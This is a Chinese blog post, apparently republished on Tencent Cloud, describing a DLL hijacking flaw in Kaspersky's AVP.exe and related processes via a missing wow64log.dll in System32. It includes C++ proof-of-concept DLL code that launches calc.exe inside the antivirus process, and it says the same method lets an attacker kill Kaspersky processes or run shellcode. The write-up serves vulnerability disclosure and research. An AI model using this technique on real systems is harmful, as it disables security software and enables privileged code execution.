前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持

作者头像
黑白天安全
发布2022-11-11 16:55:20
7080
发布2022-11-11 16:55:20
举报

Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。

在Kaspersky AVP.exe进程尝试加载缺少的wow64log.dllDLL文件(在System32)。

通过DLL植入恶意文件,本地Windows管理员可以在这个受信任的AVP.exe进程的上下文中实现代码执行并杀死其他进程,从而在无法检测和清除病毒的杀毒软件上实现拒绝服务和以卡巴斯基的身份执行任意命令。

版本

卡巴斯基安全软件

AVP.exe版本

Kaspersky Password Manager Service

卡巴斯基安全软件启动的进程为:

Kaspersky Password Manager Service启动的进程为:

ProCess Monitor

AVP.exe 加载不存在的wow64log.dll,路径为C:\windows\System32\

Avpui.exe同样加载不存在的Wow64log.dll,路径为C:\windows\System32\

kpm.exe同样加载不存在的Wow64log.dll,路径为C:\windows\System32\

wow64log.dll与 WoW64 Windows 机制有关,该机制允许在 64 位 Windows 上运行 32 位程序。该子系统会自动尝试加载它,但是它不存在于任何公共 Windows 版本中。

代码语言:javascript
复制
C:\Windows\System (Windows95/98/Me)
C:\WINNT\System32(WindowsNT/2000)
C:\Windows\System32 (Windows XP,Vista,7,8,10)

如果是64位文件C:\Windows\SysWOW64

作为管理员,我们可以构造恶意 wow64log.dll 文件复制到 System32 。

例如:

代码语言:javascript
复制
#include "pch.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <iostream>
#include <map>




BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  STARTUPINFO si = { sizeof(si) };
  PROCESS_INFORMATION pi;
  CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);


  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    char szFileName[MAX_PATH + 1];
    GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);


    //check if we are injected in an interesting McAfee process
    if (strstr(szFileName, "avp") != NULL
      //|| strstr(szFileName, "mcshield") != NULL
      || strstr(szFileName, "avp.exe") != NULL
      ) {
      DisableThreadLibraryCalls(hModule);
    }
    else
    {


    }


  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    //log("detach");
    break;
  }
  return TRUE;
}

手动复制在目标文件目录中,然后启动卡巴斯基,可以看到加载了我们的Wow64log.dll

启动Kaspersky Password Manager Service

加载了我们的恶意DLL并执行了

卡巴斯基具有自我保护机制,即使管理员也无法终止或注入Avp.exe /avpui.exe等等 进程。但似乎卡巴斯基家族的所有进程都认为其他卡巴斯基进程在自我保护方面是“受信任的”。因此,如果我们设法在一个上下文中执行代码,我们就可以“攻击”并杀死其进程和在卡巴斯基中执行任意命令等等。

我们可以编译一个恶意的dll利用卡巴斯基的进程去kill其它卡巴斯基的进程。

也可以在卡巴是安全上下文中执行我们的shellcode 例如:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-07-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • AVP.exe版本
  • Kaspersky Password Manager Service
  • ProCess Monitor
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档